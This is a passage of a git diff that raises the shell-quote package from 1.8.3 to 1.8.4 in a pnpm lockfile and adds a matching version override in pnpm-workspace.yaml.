{node: '>= 0.4'} shelljs@0.9.2: @@ -20978,7 +20979,7 @@ snapshots: dependencies: chalk: 4.1.2 rxjs: 7.8.2 - shell-quote: 1.8.3 + shell-quote: 1.8.4 supports-color: 8.1.1 tree-kill: 1.2.2 yargs: 17.7.2 @@ -24665,7 +24666,7 @@ snapshots: shebang-regex@3.0.0: {} - shell-quote@1.8.3: {} + shell-quote@1.8.4: {} shelljs@0.9.2: dependencies: diff --git a/pnpm-workspace.yaml b/pnpm-workspace.yaml index 687e77edcd..9e24afea18 100644 --- a/pnpm-workspace.yaml +++ b/pnpm-workspace.yaml @@ -436,6 +436,7 @@ overrides: request: npm:postman-request@2.88.1-postman.40 semver@<7.5.2: 'catalog:' send@<0.19.0: ^0.19.0 + shell-quote@<1.8.4: '>=1.8.4' serve-static@<1.16.0: ^1.16.0 socks@2: ^2.8.1 tar@<=7.5.9: '>=7.5.10'